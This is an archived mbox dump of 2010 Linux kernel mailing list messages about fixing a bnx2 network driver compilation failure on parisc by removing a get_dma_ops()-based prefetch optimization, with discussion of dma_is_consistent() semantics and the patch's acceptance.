	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: fujita.tomonori@lab.ntt.co.jp
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 16:36:45 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPGCx-00058f-Bn
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 16:36:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760179Ab0FQOgm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 10:36:42 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:53664
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1760176Ab0FQOgl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 10:36:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 5035124C090;
	Thu, 17 Jun 2010 07:36:53 -0700 (PDT)
In-Reply-To: <20100617211946A.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Mew version 6.3 on Emacs 23.1 / Mule 6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2945 gmane.linux.network:164217 gmane.linux.kernel:999973
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2945>

From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Date: Thu, 17 Jun 2010 21:21:13 +0900

> On Wed, 16 Jun 2010 23:24:44 -0700
> "Michael Chan" <mchan@broadcom.com> wrote:
> 
>> David, why is dma_is_consistent() always returning 1 on sparc?  The
>> streaming DMA is not consistent.
> 
> I think that there are some confusion about dma_is_consistent(). Some
> architectures think that dma_is_consistent() is supposed to return 1
> if they can allocate coherent memory (note that some architectures
> can't allocate coherent memory).

Right, and that's why it's defined this way.

If the desired meaning is different, just me know and I'll fix the
sparc definition.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 07:42:29 -0700
Lines: 92
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB3439772421B79CBCA22@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <20100617230435J.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1276785783 26372 80.91.229.12 (17 Jun 2010 14:43:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 14:43:03 +0000 (UTC)
Cc: "JBottomley@Novell.com" <JBottomley@Novell.com>,
	"vapier@gentoo.org" <vapier@gentoo.org>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "'FUJITA Tomonori'" <fujita.tomonori@lab.ntt.co.jp>,
	"'davem@davemloft.net'" <davem@davemloft.net>
Original-X-From: netdev-owner@vger.kernel.org Thu Jun 17 16:43:00 2010
connect(): No such file or directory
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1OPGJ0-00011t-60
	for linux-netdev-2@lo.gmane.org; Thu, 17 Jun 2010 16:42:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932768Ab0FQOms (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Thu, 17 Jun 2010 10:42:48 -0400
Original-Received: from mms1.broadcom.com ([216.31.210.17]:2273 "EHLO mms1.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756007Ab0FQOmq convert rfc822-to-8bit (ORCPT
	<rfc822;netdev@vger.kernel.org>); Thu, 17 Jun 2010 10:42:46 -0400
Original-Received: from [10.9.200.131] by mms1.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Thu, 17 Jun 2010 07:42:29 -0700
X-Server-Uuid: 02CED230-5797-4B57-9875-D5D2FEE4708A
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB01.corp.ad.broadcom.com ([10.9.200.131]) with mapi; Thu, 17
 Jun 2010 07:42:29 -0700
Thread-Topic: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Thread-Index: AcsOJkDMIdw3844bScGMb1hnrLyYcwABLX0g
In-Reply-To: <20100617230435J.fujita.tomonori@lab.ntt.co.jp>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 6004EBDF20S160702127-01-01
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:164218 gmane.linux.ports.parisc:2946 gmane.linux.kernel:999975
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2946>

FUJITA Tomonori wrote:

> On Thu, 17 Jun 2010 06:30:39 -0700
> "Michael Chan" <mchan@broadcom.com> wrote:
>
> > James Bottomley wrote:
> >
> > > On Thu, 2010-06-17 at 05:54 -0700, Michael Chan wrote:
> > > > This prefetch improves performance noticeably when the driver is
> > > > handling incoming 64-byte packets at a sustained rate.
> > >
> > > So why not do it unconditionally?  The worst that can happen
> > > is that you
> > > pull in a stale cache line which will get cleaned in the
> > > dma_sync, thus
> > > slightly degrading performance on incoherent architectures.
> >
> > The original patch was an unconditional prefetch.  There was
> > some discussion that it might not be correct if the DMA wasn't
> > sync'ed yet on some archs.  If the concensus is that it is ok to
> > do so, that would be the simplest solution.
>
> As James said, it just adds useless prefetch on incoherent
> architectures. sync_single_for_cpu is called later so we can see the
> correct data. One useless prefetch is unlikely to lead performance
> drop.
>
> You might prefer this v2.

Yes, thanks.
Acked-by: Michael Chan <mchan@broadcom.com>

>
> =
> From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> Subject: [PATCH v2] bnx2: fix dma_get_ops compilation breakage
>
> This removes dma_get_ops() prefetch optimization in bnx2.
>
> bnx2 uses dma_get_ops() to see if dma_sync_single_for_cpu() is
> noop. bnx2 does prefetch if it's noop.
>
> But dma_get_ops() isn't available on all the architectures (only the
> architectures that uses dma_map_ops struct have it). Using
> dma_get_ops() in drivers leads to compilation breakage on many
> archtectures.
>
> This patch removes dma_get_ops() and changes bnx2 to do prefetch on
> all the architectures. This adds useless prefetch on incoherent
> architectures but this is harmless. It is also unlikely to cause the
> performance drop.
>
> Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> ---
>  drivers/net/bnx2.c |   10 ++++------
>  1 files changed, 4 insertions(+), 6 deletions(-)
>
> diff --git a/drivers/net/bnx2.c b/drivers/net/bnx2.c
> index 949d7a9..85f1692 100644
> --- a/drivers/net/bnx2.c
> +++ b/drivers/net/bnx2.c
> @@ -3099,12 +3099,10 @@ bnx2_rx_int(struct bnx2 *bp, struct
> bnx2_napi *bnapi, int budget)
>               skb = rx_buf->skb;
>               prefetchw(skb);
>
> -             if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> -                     next_rx_buf =
> -                             &rxr->rx_buf_ring[
> -
> RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> -                     prefetch(next_rx_buf->desc);
> -             }
> +             next_rx_buf =
> +
> &rxr->rx_buf_ring[RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> +             prefetch(next_rx_buf->desc);
> +
>               rx_buf->skb = NULL;
>
>               dma_addr = dma_unmap_addr(rx_buf, mapping);
> --
> 1.6.5
>
>
>

--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 23:50:35 +0900
Lines: 35
Approved: news@gmane.org
Message-ID: <20100617234520S.fujita.tomonori@lab.ntt.co.jp>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA1E@IRVEXCHCCR01.corp.ad.broadcom.com>
	<20100617211946A.fujita.tomonori@lab.ntt.co.jp>
	<20100617.073653.193708702.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276786258 28385 80.91.229.12 (17 Jun 2010 14:50:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 14:50:58 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, mchan@broadcom.com,
	lethal@linux-sh.org, vapier@gentoo.org, JBottomley@novell.com,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: davem@davemloft.net
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 16:50:55 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPGQd-0005sK-18
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 16:50:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932886Ab0FQOuu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 10:50:50 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:50176 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932803Ab0FQOut (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 10:50:49 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5HEoZ1H016608;
	Thu, 17 Jun 2010 23:50:35 +0900
In-Reply-To: <20100617.073653.193708702.davem@davemloft.net>
Original-Lines: 30
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Thu, 17 Jun 2010 23:50:36 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2947 gmane.linux.network:164220 gmane.linux.kernel:999977
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2947>

On Thu, 17 Jun 2010 07:36:53 -0700 (PDT)
David Miller <davem@davemloft.net> wrote:

> From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> Date: Thu, 17 Jun 2010 21:21:13 +0900
> 
> > On Wed, 16 Jun 2010 23:24:44 -0700
> > "Michael Chan" <mchan@broadcom.com> wrote:
> > 
> >> David, why is dma_is_consistent() always returning 1 on sparc?  The
> >> streaming DMA is not consistent.
> > 
> > I think that there are some confusion about dma_is_consistent(). Some
> > architectures think that dma_is_consistent() is supposed to return 1
> > if they can allocate coherent memory (note that some architectures
> > can't allocate coherent memory).
> 
> Right, and that's why it's defined this way.
> 
> If the desired meaning is different, just me know and I'll fix the
> sparc definition.

I think that there are some other architectures do the same. We need
to make sure that all the architectures define dma_is_consistent() in
the same meaning if drivers need it. However, I'm not sure we really
need dma_is_consistent(). There is only one user of it (and I think we
could remove it).

In the bnx2 case, we can simply prefetch on all the archs (or just
remove the optimization).
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 23:50:36 +0900
Lines: 56
Approved: news@gmane.org
Message-ID: <20100617234855R.fujita.tomonori@lab.ntt.co.jp>
References: <1276780336.2789.6.camel@mulgrave.site>
	<C27F8246C663564A84BB7AB3439772421B79CBCA21@IRVEXCHCCR01.corp.ad.broadcom.com>
	<20100617230435J.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276786268 28448 80.91.229.12 (17 Jun 2010 14:51:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 14:51:08 +0000 (UTC)
Cc: JBottomley@novell.com, vapier@gentoo.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: mchan@broadcom.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 17 16:51:02 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OPGQn-0006P9-Qo
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Jun 2010 16:51:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932931Ab0FQOu4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Jun 2010 10:50:56 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:50179 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932803Ab0FQOuw (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Jun 2010 10:50:52 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5HEoZ1J016608;
	Thu, 17 Jun 2010 23:50:36 +0900
In-Reply-To: <20100617230435J.fujita.tomonori@lab.ntt.co.jp>
Original-Lines: 56
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Thu, 17 Jun 2010 23:50:36 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:999978 gmane.linux.network:164221 gmane.linux.ports.parisc:2948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2948>

Oops, some typos.

On Thu, 17 Jun 2010 23:05:59 +0900
FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp> wrote:

> On Thu, 17 Jun 2010 06:30:39 -0700
> "Michael Chan" <mchan@broadcom.com> wrote:
> 
> > James Bottomley wrote:
> > 
> > > On Thu, 2010-06-17 at 05:54 -0700, Michael Chan wrote:
> > > > This prefetch improves performance noticeably when the driver is
> > > > handling incoming 64-byte packets at a sustained rate.
> > >
> > > So why not do it unconditionally?  The worst that can happen
> > > is that you
> > > pull in a stale cache line which will get cleaned in the
> > > dma_sync, thus
> > > slightly degrading performance on incoherent architectures.
> > 
> > The original patch was an unconditional prefetch.  There was
> > some discussion that it might not be correct if the DMA wasn't
> > sync'ed yet on some archs.  If the concensus is that it is ok to
> > do so, that would be the simplest solution.
> 
> As James said, it just adds useless prefetch on incoherent
> architectures. sync_single_for_cpu is called later so we can see the
> correct data. One useless prefetch is unlikely to lead performance
> drop.
> 
> You might prefer this v2.
> 
> =
> From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> Subject: [PATCH v2] bnx2: fix dma_get_ops compilation breakage
> 
> This removes dma_get_ops() prefetch optimization in bnx2.
> 
> bnx2 uses dma_get_ops() to see if dma_sync_single_for_cpu() is
> noop. bnx2 does prefetch if it's noop.
> 
> But dma_get_ops() isn't available on all the architectures (only the
> architectures that uses dma_map_ops struct have it). Using
> dma_get_ops() in drivers leads to compilation breakage on many
> archtectures.

s/archtectures/architectures/

> This patch removes dma_get_ops() and changes bnx2 to do prefetch on
> all the architectures. This adds useless prefetch on incoherent
                                                       ~~~~~~~~~~
                                             s/incoherent/non-coherent/
(thanks to Alan)

> architectures but this is harmless. It is also unlikely to cause the
> performance drop.

From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing get_dma_ops()
Date: Fri, 18 Jun 2010 00:30:51 +0900
Lines: 52
Approved: news@gmane.org
Message-ID: <20100617153051.GB8964@linux-sh.org>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA1E@IRVEXCHCCR01.corp.ad.broadcom.com> <20100617211946A.fujita.tomonori@lab.ntt.co.jp> <20100617.073653.193708702.davem@davemloft.net> <20100617234520S.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1276788676 7008 80.91.229.12 (17 Jun 2010 15:31:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 15:31:16 +0000 (UTC)
Cc: davem@davemloft.net, mchan@broadcom.com, vapier@gentoo.org,
	JBottomley@novell.com, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 17:31:11 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPH3e-0003P7-3g
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 17:31:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752575Ab0FQPbJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 11:31:09 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:45170 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751609Ab0FQPbI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 11:31:08 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id 0FACA63710;
	Thu, 17 Jun 2010 15:30:53 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8mNOfubAkCcZ; Fri, 18 Jun 2010 00:30:51 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id DE97A63719; Fri, 18 Jun 2010 00:30:51 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <20100617234520S.fujita.tomonori@lab.ntt.co.jp>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2949 gmane.linux.network:164224 gmane.linux.kernel:999990
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2949>

On Thu, Jun 17, 2010 at 11:50:35PM +0900, FUJITA Tomonori wrote:
> On Thu, 17 Jun 2010 07:36:53 -0700 (PDT)
> David Miller <davem@davemloft.net> wrote:
> 
> > From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> > Date: Thu, 17 Jun 2010 21:21:13 +0900
> > 
> > > On Wed, 16 Jun 2010 23:24:44 -0700
> > > "Michael Chan" <mchan@broadcom.com> wrote:
> > > 
> > >> David, why is dma_is_consistent() always returning 1 on sparc?  The
> > >> streaming DMA is not consistent.
> > > 
> > > I think that there are some confusion about dma_is_consistent(). Some
> > > architectures think that dma_is_consistent() is supposed to return 1
> > > if they can allocate coherent memory (note that some architectures
> > > can't allocate coherent memory).
> > 
> > Right, and that's why it's defined this way.
> > 
> > If the desired meaning is different, just me know and I'll fix the
> > sparc definition.
> 
> I think that there are some other architectures do the same. We need
> to make sure that all the architectures define dma_is_consistent() in
> the same meaning if drivers need it. However, I'm not sure we really
> need dma_is_consistent(). There is only one user of it (and I think we
> could remove it).
> 
> In the bnx2 case, we can simply prefetch on all the archs (or just
> remove the optimization).

I think its worthwhile keeping, especially since the consistency can vary
on a per struct device level. If there's a benefit with these sorts of
prefetch micro-optimizations in drivers when it doesn't cost us that much
to provide the hint, I don't really see the harm. If dma_is_consistent()
is suddenly supposed to take on other meanings, or it's supposed to mean
something entirely different, then this is something we should deal with
separately.

I don't see any harm in letting drivers know whether we can support
consistent DMA allocs for a given struct device or not though, even if
the micro-optimization is marginal at best.

At least I've conditionalized the definition on SH, and it seems other
archictures have done so too. It's not clear what we'd gain from throwing
that away as long as they're generally in agreement on what it means.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Thu, 17 Jun 2010 08:52:58 -0700 (PDT)
Lines: 6
Approved: news@gmane.org
Message-ID: <20100617.085258.104046759.davem@davemloft.net>
References: <C27F8246C663564A84BB7AB3439772421B79CBCA21@IRVEXCHCCR01.corp.ad.broadcom.com>
	<20100617230435J.fujita.tomonori@lab.ntt.co.jp>
	<20100617234855R.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276789983 12587 80.91.229.12 (17 Jun 2010 15:53:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 15:53:03 +0000 (UTC)
Cc: mchan@broadcom.com, JBottomley@novell.com, vapier@gentoo.org,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: fujita.tomonori@lab.ntt.co.jp
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 17 17:53:01 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OPHOk-0007B9-Ey
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Jun 2010 17:52:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932779Ab0FQPwt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Jun 2010 11:52:49 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:48396
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1760267Ab0FQPws (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Jun 2010 11:52:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 7430D24C090;
	Thu, 17 Jun 2010 08:52:58 -0700 (PDT)
In-Reply-To: <20100617234855R.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Mew version 6.3 on Emacs 23.1 / Mule 6.0 (HANACHIRUSATO)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:999999 gmane.linux.network:164225 gmane.linux.ports.parisc:2950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2950>

From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Date: Thu, 17 Jun 2010 23:50:36 +0900

> Oops, some typos.

I've applied the patch with the typos fixed, thanks!

From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Thu, 17 Jun 2010 21:11:46 +0200
Lines: 131
Approved: news@gmane.org
Message-ID: <AANLkTikgzvZvb30QhSMs_GQ6MCawl0V6GzixnDYfqmzg@mail.gmail.com>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	<alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>
	<87y6ehxvby.fsf@linux-g6p1.site>
	<1276545951.5374.260.camel@mulgrave.site>
	<alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
	<1276556919.5374.822.camel@mulgrave.site>
	<alpine.DEB.1.10.1006142039250.1248@dr-wily.mit.edu>
	<1276724403.2847.453.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1276801914 27208 80.91.229.12 (17 Jun 2010 19:11:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 19:11:54 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	linux-kernel@vger.kernel.org, Sam Ravnborg <sam@ravnborg.org>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jun 17 21:11:50 2010
connect(): No such file or directory
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OPKVC-0002On-5L
	for glka-linux-arch@lo.gmane.org; Thu, 17 Jun 2010 21:11:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
